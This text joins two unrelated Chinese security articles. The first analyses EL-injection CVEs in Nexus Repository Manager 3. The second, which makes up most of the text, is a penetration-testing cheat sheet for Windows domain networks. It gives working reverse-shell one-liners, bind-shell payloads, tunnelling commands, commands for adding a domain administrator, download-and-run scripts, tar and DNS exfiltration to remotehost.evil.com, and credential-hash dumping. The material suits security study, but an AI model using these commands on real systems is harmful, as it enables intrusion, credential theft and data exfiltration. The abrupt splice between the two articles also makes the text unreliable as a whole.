55 }
56
57: public ConstraintViolationBuilder buildConstraintViolationWithTemplate(String messageTemplate) {
58 return new ConstraintValidatorContextImpl.ConstraintViolationBuilderImpl(messageTemplate, this.getCopyOfBasePath());
59 }
F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-cleanup\3.21.0-02\nexus-cleanup-3.21.0-02\org\sonatype\nexus\cleanup\storage\config\CleanupPolicyAssetNamePatternValidator.java:
18 } catch (RegexCriteriaValidator.InvalidExpressionException var4) {
19 context.disableDefaultConstraintViolation();
20: context.buildConstraintViolationWithTemplate(var4.getMessage()).addConstraintViolation();
21 return false;
22 }
F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-cleanup\3.21.2-03\nexus-cleanup-3.21.2-03\org\sonatype\nexus\cleanup\storage\config\CleanupPolicyAssetNamePatternValidator.java:
18 } catch (RegexCriteriaValidator.InvalidExpressionException var4) {
19 context.disableDefaultConstraintViolation();
20: context.buildConstraintViolationWithTemplate(this.getEscapeHelper().stripJavaEl(var4.getMessage())).addConstraintViolation();
21 return false;
22 }
F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-scheduling\3.21.2-03\nexus-scheduling-3.21.2-03\org\sonatype\nexus\scheduling\constraints\CronExpressionValidator.java:
29 } catch (IllegalArgumentException var4) {
30 context.disableDefaultConstraintViolation();
31: context.buildConstraintViolationWithTemplate(this.getEscapeHelper().stripJavaEl(var4.getMessage())).addConstraintViolation();
32 return false;
33 }
F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-security\3.21.2-03\nexus-security-3.21.2-03\org\sonatype\nexus\security\privilege\PrivilegesExistValidator.java:
42 if (!privilegeId.matches("^[a-zA-Z0-9\\-]{1}[a-zA-Z0-9_\\-\\.]*$")) {
43 context.disableDefaultConstraintViolation();
44: context.buildConstraintViolationWithTemplate("Invalid privilege id: " + this.getEscapeHelper().stripJavaEl(privilegeId) + ". " + "Only letters, digits, underscores(_), hyphens(-), and dots(.) are allowed and may not start with underscore or dot.").addConstraintViolation();
45 return false;
46 }
..
55 } else {
56 context.disableDefaultConstraintViolation();
57: context.buildConstraintViolationWithTemplate("Missing privileges: " + missing).addConstraintViolation();
58 return false;
59 }
F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-security\3.21.2-03\nexus-security-3.21.2-03\org\sonatype\nexus\security\role\RoleNotContainSelfValidator.java:
49 if (this.containsRole(id, roleId, processedRoleIds)) {
50 context.disableDefaultConstraintViolation();
51: context.buildConstraintViolationWithTemplate(this.message).addConstraintViolation();
52 return false;
53 }
F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-security\3.21.2-03\nexus-security-3.21.2-03\org\sonatype\nexus\security\role\RolesExistValidator.java:
42 } else {
43 context.disableDefaultConstraintViolation();
44: context.buildConstraintViolationWithTemplate("Missing roles: " + missing).addConstraintViolation();
45 return false;
46 }
F:\compare-file\nexus-3.21.2-03-win64\nexus-3.21.2-03\system\org\sonatype\nexus\nexus-validation\3.21.2-03\nexus-validation-3.21.2-03\org\sonatype\nexus\validation\ConstraintViolationFactory.java:
75 public boolean isValid(ConstraintViolationFactory.HelperBean bean, ConstraintValidatorContext context) {
76 context.disableDefaultConstraintViolation();
77: ConstraintViolationBuilder builder = context.buildConstraintViolationWithTemplate(this.getEscapeHelper().stripJavaEl(bean.getMessage()));
78 NodeBuilderCustomizableContext nodeBuilder = null;
79 String[] var8;
后面作者也发布了[漏洞分析](https://github.com/Cryin/Paper/blob/master/CVE-2018-16621%20Nexus%20Repository%20Manager3%20%E4%BB%BB%E6%84%8FEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5.md)，确实用了`buildConstraintViolationWithTemplate`作为了漏洞的根源，利用这个关键点做的污点跟踪分析。
从上面的搜索结果中可以看到，el表达式导致的那三个CVE关键点也在其中，同时还有其他几个地方，有几个使用了`this.getEscapeHelper().stripJavaEl`做了清除，还有几个，看起来似乎也可以，心里一阵狂喜？然而，其他几个没有做清除的地方虽然能通过路由进入，但是利用不了，后面会挑选其中的一个做下分析。所以在开始说了官方可能修复了几个类似的地方，猜想有两种可能：
* 官方自己察觉到了那几个地方也会存在el解析漏洞，所以做了清除
* 有其他漏洞发现者提交了那几个做了清除的漏洞点，因为那几个地方可以利用；但是没清除的那几个地方由于没法利用，所以发现者并没有提交，官方也没有去做清除
不过感觉后一种可能性更大，毕竟官方不太可能有的地方做清除，有的地方不做清除，要做也是一起做清除工作。
##### CVE-2018-16621分析
这个漏洞对应上面的搜索结果是RolesExistValidator，既然搜索到了关键点，自己来手动逆向回溯下看能不能回溯到有路由处理的地方，这里用简单的搜索回溯下。
关键点在`RolesExistValidator的isValid`，调用了`buildConstraintViolationWithTemplate`。搜索下有没有调用`RolesExistValidator`的地方：
在RolesExist中有调用，这种写法一般会把RolesExist当作注解来使用，并且进行校验时会调用`RolesExistValidator.isValid()`。继续搜索RolesExist：
有好几处直接使用了RolesExist对roles属性进行注解，可以一个一个去回溯，不过按照Role这个关键字RoleXO可能性更大，所以先看这个（UserXO也可以的），继续搜索RoleXO：
会有很多其他干扰的，比如第一个红色标注`RoleXOResponse`，这种可以忽略，我们找直接使用`RoleXO的`地方。在`RoleComponent`中，看到第二个红色标注这种注解大概就知道，这里能进入路由了。第三个红色标注使用了roleXO，并且有roles关键字，上面RolesExist也是对roles进行注解的，所以这里猜测是对roleXO进行属性注入。有的地方反编译出来的代码不好理解，可以结合源码看：
可以看到这里就是将提交的参数注入给了roleXO，RoleComponent对应的路由如下：
通过上面的分析，我们大概知道了能进入到最终的`RolesExistValidator`，不过中间可能还有很多条件需要满足，需要构造payload然后一步一步测。这个路由对应的web页面位置如下：
测试（这里使用的3.21.1版本，CVE-2018-16621是之前的漏洞，在3.21.1早修复了，不过3.21.1又被绕过了，所以下面使用的是绕过的情况，将`$`换成`$\\x`去绕过，绕过在后面两个CVE再说）：
修复方式：
加上了`getEscapeHelper().stripJavaEL`对el表达式做了清除，将`${`替换为了`{`，之后的两个CVE就是对这个修复方式的绕过：
##### CVE-2020-10204分析
这就是上面说到的对之前`stripJavaEL`修复的绕过，这里就不细分析了，利用`$\\x`格式就不会被替换掉（使用3.21.1版本测试）：
##### CVE-2020-10199分析
这个漏洞对应上面搜索结果是`ConstraintViolationFactory`：
`buildConstraintViolationWith`（标号1）出现在了`HelperValidator`（标号2）的`isValid`中，`HelperValidator`又被注解在`HelperAnnotation`（标号3、4）之上，`HelperAnnotation`注解在了`HelperBean`（标号5）之上，在`ConstraintViolationFactory.createViolation`方法中使用到了`HelperBean`（标号6、7）。按照这个思路要找调用了`ConstraintViolationFactory.createViolation`的地方。
也来手动逆向回溯下看能不能回溯到有路由处理的地方。
搜索ConstraintViolationFactory：
有好几个，这里使用第一个`BowerGroupRepositoriesApiResource`分析，点进去看就能看出它是一个API路由：
`ConstraintViolationFactory`被传递给了`super`，在`BowerGroupRepositoriesApiResource`并没有调用`ConstraintViolationFactory`的其他函数，不过它的两个方法，也是调用了`super`对应的方法。它的`super`是`AbstractGroupRepositoriesApiResource`类：
`BowerGroupRepositoriesApiResource`构造函数中调用的`super`，在`AbstractGroupRepositoriesApiResourc`e赋值了`ConstraintViolationFactory`（标号1），`ConstraintViolationFactory`的使用（标号2），调用了`createViolation`（在后面可以看到memberNames参数），这也是之前要到达漏洞点所需要的，这个调用处于`validateGroupMembers`中（标号3），`validateGroupMembers`的调用在`createRepository`（标号4）和`updateRepository`（标号5）中都进行了调用，而这两个方法通过上面的注解也可以看出，通过外部传递请求能到达。
`BowerGroupRepositoriesApiResource`的路由为`/beta/repositories/bower/group`，在后台API找到它来进行调用（使用3.21.1测试）：
还有`AbstractGroupRepositoriesApiResource`的其他几个子类也是可以的：
##### CleanupPolicyAssetNamePatternValidator未做清除点分析
对应上面搜索结果的`CleanupPolicyAssetNamePatternValidator`，可以看到这里并没有做`StripEL`清除操作：
这个变量是通过报错抛出放到`buildConstraintViolationWithTemplate`中的，要是报错信息中包含了value值，那么这里就是可以利用的。
搜索`CleanupPolicyAssetNamePatternValidator`：
在`CleanupPolicyAssetNamePattern`类注解中使用了，继续搜索`CleanupPolicyAssetNamePattern`：
在`CleanupPolicyCriteri`a中的属性`regex`被`CleanupPolicyAssetNamePattern`注解了，继续搜索`CleanupPolicyCriteria`：
在`CleanupPolicyComponent`中的`to
CleanupPolicy`方法中有调用，其中的`cleanupPolicyXO.getCriteria`也正好是`CleanupPolicyCriteria`对象。`toCleanupPolic`y在`CleanupPolicyComponent`的可通过路由进入的`create、previewCleanup`方法又调用了`toCleanupPolicy`。
构造payload测试：
然而这里并不能利用，value值不会被包含在报错信息中，去看了下`RegexCriteriaValidator.validate`，无论如何构造，最终也只会抛出value中的一个字符，所以这里并不能利用。
与这个类似的是`CronExpressionValidator`，那里也是通过抛出异常，但是那里是可以利用的，不过被修复了，可能之前已经有人提交过了。还有其他几个没做清除的地方，要么被if、else跳过了，要么不能利用。
人工去回溯查找的方式，如果关键字被调用的地方不多可能还好，不过要是被大量使用，可能就不是那么好处理了。不过上面几个漏洞，可以看到通过手动回溯查找还是可行的。
#### JXEL造成的漏洞（CVE-2019-7238）
可以参考下@iswin大佬之前的分析<https://www.anquanke.com/post/id/171116>，这里就不再去调试截图了。这里想写下之前对这个漏洞的修复，说是加了权限来修复，要是只加了权限，那不是还能提交一下？不过，测试了下3.21.1版本，就算用admin权限也无法利用了，想去看下是不是能绕过。在3.14.0中测试，确实是可以的：
但是3.21.1中，就算加了权限，也是不行的。后面分别调试对比了下，以及通过下面这个测试：
JexlEngine jexl = new JexlBuilder().create();
String jexlExp = "''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')";
JexlExpression e = jexl.createExpression(jexlExp);
JexlContext jc = new MapContext();
jc.set("foo", "aaa");
e.evaluate(jc);
才知道3.14.0与上面这个测试使用的是`org.apache.commons.jexl3.internal.introspection.Uberspect`处理，它的getMethod方法如下：
而在3.21.1中Nexus设置的是`org.apache.commons.jexl3.internal.introspection.SandboxJexlUberspect`，这个`SandboxJexlUberspect`，它的get
Method方法如下：
可以看出只允许调用String、Map、Collection类型的有限几个方法了。
#### 总结
* 看完上面的内容，相信对Nexus3的漏洞大体有了解了，不会再无从下手的感觉。尝试看下下其他地方，例如后台有个LDAP，可进行jndi connect操作，不过那里调用的是`context.getAttribute`，虽然会远程请求class文件，不过并不会加载class，所以并没有危害。
* 有的漏洞的根源点可能会在一个应用中出现相似的地方，就像上面那个`buildConstraintViolationWithTemplate`这个keyword一样，运气好说不定一个简单的搜索都能碰到一些相似漏洞（不过我运气貌似差了点，通过上面的搜索可以看到某些地方的修复，说明已经有人先行一步了，直接调用了`buildConstraintViolationWithTemplate`并且可用的地方似乎已经没有了）
* 仔细看下上面几个漏洞的payload，好像相似度很高，所以可以弄个类似fuzz参数的工具，搜集这个应用的历史漏洞payload，每个参数都可以测试下对应的payload，运气好可能会撞到一些相似漏洞
* * * | 社区文章 |
### 域环境搭建 准备： DC: win2008 DM: win2003 DM: winxp
win2008(域控) 1、修改计算机名：
[
2、配置固定ip: 其中网关设置错误，应该为192.168.206.2，开始默认的网管
[
3、服务器管理器---角色：
[
4、配置域服务: dos下面输入`dcpromo`
[
Ps：这里可能会因为本地administrator的密码规则不合要求，导致安装失败，改一个强密码
5、设置林根域： 林就是在多域情况下形成的森林,根表示基础,其他在此根部衍生
具体见：<http://angerfire.blog.51cto.com/198455/144123/>
[
6、 **域数据存放的地址**
[
* * *
win2003、winxp和08配置差不多
注意点是： 1、配置网络 dns server应该为主域控ip地址
[
2、加入域控
[
* * *
域已经搭建完成，主域控会生成一个`krbtgt`账号 他是Windows活动目录中使用的客户/服务器认证协议，为通信双方提供双向身份认证
[
参考： AD域环境的搭建 基于Server 2008 R2 <http://www.it165.net/os/html/201306/5493.html>
Acitve Directory 域环境的搭建<http://blog.sina.com.cn/s/blog_6ce0f2c901014okt.html>
### 端口转发&&边界代理 此类工具很多，测试一两个经典的。 #####端口转发 1、windows lcx
监听1234端口,转发数据到2333端口
本地:lcx.exe -listen 1234 2333
将目标的3389转发到本地的1234端口
远程:lcx.exe -slave ip 1234 127.0.0.1 3389
netsh 只支持tcp协议
添加转发规则
netsh interface portproxy set v4tov4 listenaddress=192.168.206.101 listenport=3333 connectaddress=192.168.206.100 connectport=3389
此工具适用于，有一台双网卡服务器，你可以通过它进行内网通信，比如这个，你连接192.168.206.101:3388端口是连接到100上面的3389
删除转发规则
netsh interface portproxy delete v4tov4 listenport=9090
查看现有规则
netsh interface portproxy show all
xp需要安装ipv6
netsh interface ipv6 install
[
更加详细参考：<http://aofengblog.blog.163.com/blog/static/631702120148573851740/>
2、linux portmap
[
监听1234端口,转发数据到2333端口
本地:./portmap -m 2 -p1 1234 -p2 2333
将目标的3389转发到本地的1234端口
./portmap -m 1 -p1 3389 -h2 ip -p2 1234
iptables
1、编辑配置文件/etc/sysctl.conf的net.ipv4.ip_forward = 1
2、关闭服务
service iptables stop
3、配置规则
需要访问的内网地址：192.168.206.101
内网边界web服务器：192.168.206.129
iptables -t nat -A PREROUTING --dst 192.168.206.129 -p tcp --dport 3389 -j DNAT --to-destination 192.168.206.101:3389
iptables -t nat -A POSTROUTING --dst 192.168.206.101 -p tcp --dport 3389 -j SNAT --to-source 192.168.206.129
4、保存&&重启服务
service iptables save && service iptables start
##### socket代理 xsocks 1、windows
[
进行代理后，在windows下推荐使用Proxifier进行socket连接，规则自己定义
[
2、linux 进行代理后，推荐使用proxychains进行socket连接 kali下的配置文件： /etc/proxychains.conf
添加一条：socks5 127.0.0.1 8888
然后在命令前加proxychains就进行了代理
[
##### 神器推荐 <http://rootkiter.com/EarthWorm/>
跨平台+端口转发+socket代理结合体！darksn0w师傅的推荐。 ew_port_socket.zip
##### 基于http的转发与socket代理(低权限下的渗透) 如果目标是在dmz里面，数据除了web其他出不来，便可以利用http进行 1、端口转发
tunna
>端口转发(将远程3389转发到本地1234)
>python proxy.py -u http://lemon.com/conn.jsp -l 1234 -r 3389 -v
>
>连接不能中断服务(比如ssh)
>python proxy.py -u http://lemon.com/conn.jsp -l 1234 -r 22 -v -s
>
>转发192.168.0.2的3389到本地
>python proxy.py -u http://lemon.com/conn.jsp -l 1234 -a 192.168.0.2 -r 3389
具体参考：<http://drops.wooyun.org/tools/650>
2、socks代理 reGeorg
python reGeorgSocksProxy.py -u http://192.168.206.101/tunnel.php -p 8081
[
##### ssh通道 <http://staff.washington.edu/corey/fw/ssh-port-forwarding.html>
1、端口转发
本地访问127.0.0.1:port1就是host:port2(用的更多)
ssh -CfNg -L port1:127.0.0.1:port2 user@host #本地转发
访问host:port2就是访问127.0.0.1:port1
ssh -CfNg -R port2:127.0.0.1:port1 user@host #远程转发
可以将dmz_host的hostport端口通过remote_ip转发到本地的port端口
ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip #正向隧道，监听本地port
可以将dmz_host的hostport端口转发到remote_ip的port端口
ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip #反向隧道，用于内网穿透防火墙限制之类
2、socks
socket代理:
ssh -qTfnN -D port remotehost
[
参考redrain大牛的文章：<http://drops.wooyun.org/tips/5234>
### 获取shell
常规shell反弹 几个常用：
1、bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
2、python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
3、rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
各种语言一句话反弹shell：<http://wiki.wooyun.org/pentest:%E5%90%84%E7%A7%8D%E8%AF%AD%E8%A8%80%E4%B8%80%E5%8F%A5%E8%AF%9D%E5%8F%8D%E5%BC%B9shell>
##### 突破防火墙的imcp_shell反弹 有时候防火墙可能对tcp进行来处理，然而对imcp并没有做限制的时候，就可以来一波~
kali运行(其中的ip地址填写为目标地址win03)：
[
win03运行：
icmpsh.exe -t kali_ip -d 500 -b 30 -s 128
可以看到icmp进行通信的
[
##### Shell反弹不出的时候
主要针对：本机kali不是外网或者目标在dmz里面反弹不出shell，可以通过这种直连shell然后再通过http的端口转发到本地的metasploit
1、msfvenom -p windows/x64/shell/bind_tcp LPORT=12345 -f exe -o ./shell.exe
先生成一个bind_shell
2、本地利用tunna工具进行端口转发
python proxy.py -u http://lemon.com/conn.jsp -l 1111 -r 12345 v
3、
use exploit/multi/handler
set payload windows/x64/shell/bind_tcp
set LPORT 1111
set RHOST 127.0.0.1
[
参考的文章： <https://www.91ri.org/11722.html>
##### 正向shell
1、nc -e /bin/sh -lp 1234
2、nc.exe -e cmd.exe -lp 1234
### 信息收集(结构分析)
基本命令 1、获取当前组的计算机名(一般remark有Dc可能是域控)：
C:\Documents and Settings\Administrator\Desktop>net view
Server Name Remark
----------------------------------------------------------------------------- \\DC1
\\DM-WINXP
\\DM_WIN03
The command completed successfully.
2、查看所有域
C:\Documents and Settings\Administrator\Desktop>net view /domain
Domain
----------------------------------------------------------------------------- CENTOSO
The command completed successfully.
3、从计算机名获取ipv4地址
C:\Documents and Settings\Administrator\Desktop>ping -n 1 DC1 -4
Pinging DC1.centoso.com [192.168.206.100] with 32 bytes of data:
Reply from 192.168.206.100: bytes=32 time<1ms TTL=128
Ping statistics for 192.168.206.100:
Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
Ps:如果计算机名很多的时候，可以利用bat批量ping获取ip
@echo off
setlocal ENABLEDELAYEDEXPANSION
@FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO (
@FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO (
@FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j)
)
)
[
* * *
以下执行命令时候会发送到域控查询,如果渗透的机器不是域用户权限,则会报错
The request will be processed at a domain controller for domain
System error 1326 has occurred.
Logon failure: unknown user name or bad password.
4、查看域中的用户名
dsquery user
或者：
C:\Users\lemon\Desktop>net user /domain
User accounts for \\DC1
------------------------------------------------------------------------------- Administrator Guest krbtgt
lemon pentest
The command completed successfully.
5、查询域组名称
C:\Users\lemon\Desktop>net group /domain
Group Accounts for \\DC1
---------------------------------------------- *DnsUpdateProxy
*Domain Admins
*Domain Computers
*Domain Controllers
*Domain Guests
*Domain Users
*Enterprise Admins
*Enterprise Read-only Domain Controllers
*Group Policy Creator Owners
*Read-only Domain Controllers
*Schema Admins
The command completed successfully.
6、查询域管理员
C:\Users\lemon\Desktop>net group "Domain Admins" /domain
Group name Domain Admins
Comment Designated administrators of the domain
Members
----------------------------------------------------------- Administrator
7、添加域管理员账号
添加普通域用户
net user lemon iam@L3m0n /add /domain
将普通域用户提升为域管理员
net group "Domain Admins" lemon /add /domain
8、查看当前计算机名，全名，用户名，系统版本，工作站域，登陆域
C:\Documents and Settings\Administrator\Desktop>net config Workstation
Computer name \\DM_WIN03
Full Computer name DM_win03.centoso.com
User name Administrator
Workstation active on
NetbiosSmb (000000000000)
NetBT_Tcpip_{6B2553C1-C741-4EE3-AFBF-CE3BA1C9DDF7} (000C2985F6E4)
Software version Microsoft Windows Server 2003
Workstation domain CENTOSO
Workstation Domain DNS Name centoso.com
Logon domain DM_WIN03
COM Open Timeout (sec) 0
COM Send Count (byte) 16
COM Send Timeout (msec) 250
9、查看域控制器(多域控制器的时候,而且只能用在域控制器上)
net group "Domain controllers"
10、查询所有计算机名称
dsquery computer
下面这条查询的时候,域控不会列出
net group "Domain Computers" /domain
11、net命令
>1、映射磁盘到本地
net use z: \\dc01\sysvol
>2、查看共享
net view \\192.168.0.1
>3、开启一个共享名为app$，在d:\config
>net share app$=d:\config
12、跟踪路由
tracert 8.8.8.8
* * *
##### 定位域控 1、查看域时间及域服务器的名字
C:\Users\lemon\Desktop>net time /domain
Current time at \\DC1.centoso.com is 3/21/2016 12:37:15 AM
2、
C:\Documents and Settings\Administrator\Desktop>Nslookup -type=SRV _ldap._tcp.
*** Can't find server address for '_ldap._tcp.':
DNS request timed out.
timeout was 2 seconds.
*** Can't find server name for address 192.168.206.100: Timed out
Server: UnKnown
Address: 192.168.206.100
*** UnKnown can't find -type=SRV: Non-existent domain
3、通过ipconfig配置查找dns地址
ipconfig/all
4、查询域控
net group "Domain Controllers" /domain
* * *
##### 端口收集 端口方面的攻防需要花费的时间太多，引用一篇非常赞的端口总结文章
端口号 | 端口说明 | 攻击技巧
---|---|---
21/22/69 | ftp/tftp：文件传输协议 | 爆破\嗅探\溢出\后门
22 | ssh：远程连接 | 爆破OpenSSH；28个退格
23 | telnet：远程连接 | 爆破\嗅探
25 | smtp：邮件服务 | 邮件伪造
53 | DNS：域名系统 | DNS区域传输\DNS劫持\DNS缓存投毒\DNS欺骗\利用DNS隧道技术刺透防火墙
67/68 | dhcp | 劫持\欺骗
110 | pop3 | 爆破
139 | samba | 爆破\未授权访问\远程代码执行
143 | imap | 爆破
161 | snmp | 爆破
389 | ldap | 注入攻击\未授权访问
512/513/514 | linux r | 直接使用rlogin
873 | rsync | 未授权访问
1080 | socket | 爆破：进行内网渗透
1352 | lotus | 爆破：弱口令\信息泄漏：源代码
1433 | mssql | 爆破：使用系统用户登录\注入攻击
1521 | oracle | 爆破：TNS\注入攻击
2049 | nfs | 配置不当
2181 | zookeeper | 未授权访问
3306 | mysql | 爆破\拒绝服务\注入
3389 | rdp | 爆破\Shift后门
4848 | glassfish | 爆破：控制台弱口令\认证绕过
5000 | sybase/DB2 | 爆破\注入
5432 | postgresql | 缓冲区溢出\注入攻击\爆破：弱口令
5632 | pcanywhere | 拒绝服务\代码执行
5900 | vnc | 爆破：弱口令\认证绕过
6379 | redis | 未授权访问\爆破：弱口令
7001 | weblogic | Java反序列化\控制台弱口令\控制台部署webshell
80/443/8080 | web | 常见web攻击\控制台爆破\对应服务器版本漏洞
8069 | zabbix | 远程命令执行
9090 | websphere控制台 | 爆破：控制台弱口令\Java反序列
9200/9300 | elasticsearch | 远程代码执行
11211 | memcacache | 未授权访问
27017 | mongodb | 爆破\未授权访问
引用：<https://www.91ri.org/15441.html>
wooyun也有讨论：<http://zone.wooyun.org/content/18959>
对于端口也就是一个服务的利用，上文也只是大概的讲述，一些常见的详细利用与防御可以看看：
<http://wiki.wooyun.org/enterprise:server>
##### 扫描分析 1、nbtscan 获取mac地址：
nbtstat -A 192.168.1.99
获取计算机名\分析dc\是否开放共享
nbtscan 192.168.1.0/24
[
其中信息： SHARING 表示开放来共享， DC 表示可能是域控，或者是辅助域控 U=user 猜测此计算机登陆名 IIS 表示运行来web80
EXCHANGE Microsoft Exchange服务 NOTES Lotus Notes服务
2、WinScanX
需要登录账号能够获取目标很详细的内容。其中还有snmp获取,windows密码猜解(但是容易被杀,nishang中也实现出一个类似的信息获取/Gather/Get-Information.ps1)
WinScanX.exe -3 DC1 centoso\pentest password -a > test.txt
[
3、端口扫描 InsightScan proxy_socket后，直接
proxychains python scanner.py 192.168.0.0/24 -N
<http://insight-labs.org/?p=981>
### 内网文件传输 windows下文件传输 1、powershell文件下载 powershell突破限制执行：powershell
-ExecutionPolicy Bypass -File .\1.ps1
$d = New-Object System.Net.WebClient
$d.DownloadFile("http://lemon.com/file.zip","c:/1.zip")
2、vbs脚本文件下载
Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://192.168.206.101/file.zip",0
xPost.Send()
set sGet=createObject("ADODB.Stream")
sGet.Mode=3
sGet.Type=1
sGet.Open()
sGet.Write xPost.ResponseBody
sGet.SaveToFile "c:\file.zip",2
下载执行：
cscript test.vbs
3、bitsadmin win03测试没有,win08有
bitsadmin /transfer n http://lemon.com/file.zip c:\1.zip
4、文件共享 映射了一个，结果没有权限写
net use x: \\127.0.0.1\share /user:centoso.com\userID myPassword
5、使用telnet接收数据
服务端：nc -lvp 23 < nc.exe
下载端：telnet ip -f c:\nc.exe
6、hta 保存为.hta文件后运行
<html>
<head>
<script>
var Object = new ActiveXObject("MSXML2.XMLHTTP");
Object.open("GET","http://192.168.206.101/demo.php.zip",false);
Object.send();
if (Object.Status == 200)
{
var Stream = new ActiveXObject("ADODB.Stream");
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.SaveToFile("C:\\demo.zip", 2);
Stream.Close();
}
window.close();
</script>
<HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize">
</head>
<body>
</body>
</html>
##### linux下文件传输 1、perl脚本文件下载 kali下测试成功，centos5.5下，由于没有LWP::Simple这个，导致下载失败
#!/usr/bin/perl
use LWP::Simple
getstore("http://lemon.com/file.zip", "/root/1.zip");
2、python文件下载
#!/usr/bin/python
import urllib2
u = urllib2.urlopen('http://lemon.com/file.zip')
localFile = open('/root/1.zip', 'w')
localFile.write(u.read())
localFile.close()
3、ruby文件下载 centos5.5没有ruby环境
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("www.lemon.com") { |http|
r = http.get("/file.zip")
open("/root/1.zip", "wb") { |file|
file.write(r.body)
}
}
4、wget文件下载
wget http://lemon.com/file.zip -P /root/1.zip
其中-P是保存到指定目录
5、一边tar一边ssh上传
tar zcf - /some/localfolder | ssh remotehost.evil.com "cd /some/path/name;tar zxpf -"
6、利用dns传输数据
tar zcf - localfolder | xxd -p -c 16 | while read line; do host $line.domain.com remotehost.evil.com; done
但是有时候会因为没找到而导致数据重复,对数据分析有点影响
[
##### 其他传输方式 1、php脚本文件下载
<?php
$data = @file("http://example.com/file");
$lf = "local_file";
$fh = fopen($lf, 'w');
fwrite($fh, $data[0]);
fclose($fh);
?>
2、ftp文件下载
>**windows下**
>ftp下载是需要交互，但是也可以这样去执行下载
open host
username
password
bin
lcd c:/
get file
bye
>将这个内容保存为1.txt， ftp -s:"c:\1.txt"
>在mssql命令执行里面(不知道为什么单行执行一个echo,总是显示两行),个人一般喜欢这样
echo open host >> c:\hh.txt & echo username >> c:\hh.txt & echo password >>c:\hh.txt & echo bin >>c:\hh.txt & echo lcd c:\>>c:\hh.txt & echo get nc.exe >>c:\hh.txt & echo bye >>c:\hh.txt & ftp -s:"c:\hh.txt" & del c:\hh.txt
>**linux下**
>bash文件
ftp 127.0.0.1
username
password
get file
exit
>或者使用busybox里面的tftp或者ftp
>busybox ftpget -u test -P test 127.0.0.1 file.zip
3、nc文件传输
服务端:cat file | nc -l 1234
下载端:nc host_ip 1234 > file
4、使用SMB传送文件 本地linux的smb环境配置
>vi /etc/samba/smb.conf
[test]
comment = File Server Share
path = /tmp/
browseable = yes
writable = yes
guest ok = yes
read only = no
create mask = 0755
>service samba start
下载端
net use o: \\192.168.206.129\test
dir o:
[
##### 文件编译 1、powershell将exe转为txt，再txt转为exe
nishang中的小脚本，测试一下将nc.exe转化为nc.txt再转化为nc1.exe ExetoText.ps1
[byte[]] $hexdump = get-content -encoding byte -path "nc.exe"
[System.IO.File]::WriteAllLines("nc.txt", ([string]$hexdump))
TexttoExe.ps1
[String]$hexdump = get-content -path "nc.txt"
[Byte[]] $temp = $hexdump -split ' '
[System.IO.File]::WriteAllBytes("nc1.exe", $temp)
[
2、csc.exe编译源码 csc.exe在C:\Windows\Microsoft.NET\Framework\的各种版本之下
csc.exe /out:C:\evil\evil.exe C:\evil\evil.cs
[
3、debug程序 hex功能能将hex文件转换为exe文件(win08_x64没有这个,win03_x32有,听说是x32才有这个)
[
思路：
1. 把需要上传的exe转换成十六进制hex的形式
2. 通过echo命令将hex代码写入文件(echo也是有长度限制的)
3. 使用debug功能将hex代码还原出exe文件
[
将ncc.txt的内容一条一条的在cmd下面执行，最后可以获取到123.hex、1.dll、nc.exe exe2bat不支持大于64kb的文件
* * *
### hash抓取 #####hash简介 windows hash:
| | 2000 | xp| 2003 | Vista | win7 | 2008 | 2012 | |--------| | LM | √ | √ | √
| | NTLM | √ | √ | √ | √ | √ | √ | √|
前面三个,当密码超过14位时候会采用NTLM加密
test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248:::
前一部分是LM Hash，后一部分是NTLM Hash 当LM Hash是 **AAD3B435B51404EEAAD3B435B51404EE** 这表示
**空密码或者是未使用LM_HASH**
Hash一般存储在两个地方： SAM文件，存储在本机 对应本地用户 NTDS.DIT文件，存储在域控上 对应域用户
##### 本机hash+明文抓取 1、Get-PassHashes.ps1
[
2、导注册表+本地分析 Win2000和XP需要先提到SYSTEM，03开始直接可以reg save
导出的文件大,效率低,但是安全(测试的时候和QuarkPwDump抓取的hash不一致)
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive
[
3、QuarkPwDump
QuarkPwDump.exe -dhl -o "c:\1.txt"
[
4、getpass本地账户明文抓取 闪电小子根据mimikatz写的一个内存获取明文密码
[
<http://bbs.pediy.com/showthread.php?t=156643>
##### win8+win2012明文抓取 修改一个注册表就可以抓取了
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
测试失败 工具：<https://github.com/samratashok/nishang/blob/master/Gather/Invoke-MimikatzWDigestDowngrade.ps1>
文章地址：<https://www.trustedsec.com/april-2015/dumping-wdigest-creds-with-meterpreter-mimikatzkiwi-in-windows-8-1/>
* * *
